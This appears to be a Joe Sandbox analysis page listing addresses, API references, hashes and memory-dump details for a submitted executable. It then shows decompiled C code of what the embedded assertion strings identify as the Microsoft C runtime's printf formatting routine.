0x00000000
0x0043be10
0x0043be13
0x0043be16
0x0043be1c
0x0043be21
0x00000000
0x0043be21
0x00000000
0x0043beab
0x0043beab
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x0043bdd2
0x0043bdeb
0x0043bdee
0x0043bdee
0x0043bdf1
0x0043bdd4
0x0043bdd4
0x0043bdd7
0x0043bdda
0x0043bde0
0x0043bde6
0x0043bde6
0x00000000
0x00000000
0x0043beb6
0x0043beb6
0x0043beb9
0x0043beb9
0x0043bebf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bec7
0x0043bec7
0x0043bece
0x0043bed4
0x0043beda
0x0043bedd
0x0043bee3
0x0043beea
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043bef0
0x0043bef6
0x0043bef6
0x0043befd
0x00000000
0x0043c281
0x0043c281
0x0043c28f
0x0043c28f
0x0043c292
0x00000000
0x00000000
0x0043bf04
0x0043bf07
0x0043bf07
0x0043bf0d
0x0043bf0f
0x0043bf12
0x0043bf12
0x0043bf15
0x0043bf15
0x00000000
0x00000000
0x0043c04a
0x0043c04d
0x0043c04d
0x0043c052
0x0043c054
0x0043c057
0x0043c057
0x0043c05a
0x0043c05a
0x00000000
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x0043bfb4
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfcd
0x0043bfdb
0x0043bfdb
0x0043bfe1
0x0043bfe4
0x0043bff0
0x0043c045
0x00000000
0x0043c045
0x0043bfcf
0x0043bfcf
0x0043bfd5
0x0043bfd9
0x0043bff8
0x0043bff8
0x0043bffe
0x0043c026
0x0043c02d
0x0043c033
0x0043c036
0x0043c039
0x0043c03f
0x0043c042
0x0043c000
0x0043c000
0x0043c006
0x0043c009
0x0043c00c
0x0043c012
0x0043c015
0x0043c018
0x0043c01a
0x0043c01d
0x0043c01d
0x00000000
0x0043bffe
0x00000000
0x00000000
0x0043c299
0x0043c29c
0x0043c29f
0x0043c2a2
0x0043c2a8
0x0043c2ab
0x0043c2b2
0x0043c2b6
0x0043c2c1
0x0043c2c1
0x0043c2c5
0x0043c2dc
0x0043c2dc
0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c316
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c393
0x0043c398
0x0043c39a
0x0043c39e
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c39e
0x0043c3c1
0x0043c3c8
0x0043c3cb
0x0043c3d0
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c3fe
0x0043c401
0x0043c406
0x0043c40b
0x0043c40e
0x0043c411
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c740
0x0043c2c7
0x0043c2c7
0x0043c2ce
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf35
0x0043bf38
0x0043bf91
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf7c
0x0043bf84
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c42b
0x0043c42e
0x0043c431
0x0043c434
0x00000000
0x00000000
0x0043c18a
0x0043c18a
0x0043c196
0x0043c19c
0x0043c1a1
0x0043c1a3
0x0043c24d
0x0043c24d
0x0043c250
0x0043c250
0x0043c253
0x0043c267
0x0043c26d
0x0043c273
0x0043c255
0x0043c255
0x0043c25b
0x0043c262
0x0043c262
0x0043c275
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043c1a9
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1cf
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f3
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c1f9
0x0043c200
0x0043c248
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x00000000
0x0043c23d
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c49e
0x0043c4a4
0x0043c4a6
0x0043c4a9
0x0043c4a9
0x0043c4af
0x0043c4af
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c05d
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c096
0x0043c099
0x0043c121
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c155
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c162
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c177
0x0043c17d
0x0043c17d
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0cb
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0dc
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0f3
0x0043c0fb
0x0043c0fd
0x0043c0ff
0x0043c105
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0bf
0x0043c0c2
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x00000000
0x0043c43d
0x0043c43d
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c58e
0x00000000
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x00000000
0x0043c58e
0x00000000
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bccc
0x0043bccf
0x00000000
0x00000000
0x0043bcd4
0x0043bcd7
0x0043bcdd
0x00000000
0x00000000
0x0043bcbe
0x0043bcc1
0x0043bcc4
0x00000000
0x00000000
0x0043bcb3
0x0043bcb6
0x0043bcb9
0x00000000
0x00000000
0x0043bce2
0x0043bce2
0x0043bce5
0x0043bce5
0x0043bce8
0x00000000
0x00000000
0x0043bceb
0x00000000
0x00000000
0x0043bb5b
0x0043bb5b
0x0043bb5d
0x0043bb6b
0x0043bb5f
0x0043bb5f
0x0043bb5f
0x0043bb7b
0x0043bb88
0x0043bb8a
0x0043bb8f
0x0043bb91
0x0043bb96
0x0043bb9b
0x0043bb9d
0x0043bba2
0x0043bba8
0x0043bbaa
0x0043bbaa
0x0043bba8
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbb4
0x0043bbb9
0x0043bbd5
0x0043bbdd
0x0043bbea
0x0043bbef
0x0043ca04
0x0043ca11
0x0043ca11
0x0043bbb2
0x0043bb55
0x0043c940
0x0043c940
0x0043c947
0x0043c95e
0x0043c95e
0x0043c968
0x0043c968
0x0043c96e
0x0043c974
0x0043c97b
0x0043c97d
0x0043c982
0x0043c984
0x0043c989
0x0043c98e
0x0043c990
0x0043c995
0x0043c998
0x0043c99b
0x0043c99d
0x0043c99d
0x0043c99b
0x0043c99e
0x0043c9a5
0x0043c9f0
0x0043c9f9
0x0043c9fe
0x0043c9a7
0x0043c9ac
0x0043c9c8
0x0043c9d0
0x0043c9dd
0x0043c9e2
0x0043c9e2
0x00000000
0x0043c9a5
0x0043c949
0x0043c949
0x0043c950
0x00000000
0x00000000
0x0043c952
0x0043c952
0x00000000
0x0043c952
0x0043c740
0x0043c717
0x0043c717
0x0043c71b
0x0043c728
0x0043c72b
0x0043c72e
0x0043c731
0x0043c734
0x0043c737
0x0043c73a
0x0043c73a
0x0043c73d
0x00000000
0x0043c73d
0x0043c71d
0x0043c71d
0x0043c720
0x0043c723
0x0043c726
0x00000000
0x00000000
0x00000000
0x0043c726
0x0043c67c
0x0043c67c
0x0043c67f
0x0043c682
0x0043c689
0x0043c690
0x0043c698
0x0043c69e
0x0043c6a1
0x0043c6a4
0x0043c6ab
0x0043c6b7
0x0043c6bd
0x0043c6c3
0x0043c6ca
0x0043c6cc
0x0043c6d2
0x0043c6d2
0x0043c6d8
0x0043c6d8
0x0043c6de
0x0043c6e7
0x0043c6ec
0x0043c6ef
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x00000000
0x0043c66c
0x0043c65e
0x0043c59b
0x0043c59b
0x0043c5a2
0x00000000
0x00000000
0x00000000
0x0043c5d0
0x0043c5d0
0x0043c5d6
0x0043c5dc
0x0043c5e2
0x00000000
0x0043c5e2
0x0043c4b2
0x0043c463
0x0043c44d

APIs

_get_int64_arg.LIBCMTD ref: 0043C4C0
__aullrem.LIBCMT ref: 0043C690
__aulldiv.LIBCMT ref: 0043C6B2

Strings

9, xrefs: 0043C6C3

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 4a259227890d01eb1cb58905b1dee904c20341dd0ffa91ca02cf9f832f76ba64
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 334128B1E102299FDB24CF58C881BAEB7B5FF89314F10519AD148BB241D7389E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043507C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043507C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E004283F0(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E004283F0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E004283F0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E004283F0(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428410(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428410(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E004357B0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E004357F0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004357B0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E004357F0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E004342C0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E004357F0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004357B0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C5D0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435600))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E004312B0( *(_t701 - 0x251) & 0x000000ff, E0041AEE0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00435710( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00435710( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E410();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422F00(_t616))) = 0x16;
																	E00422C90(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041AEB0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435638; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435620))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
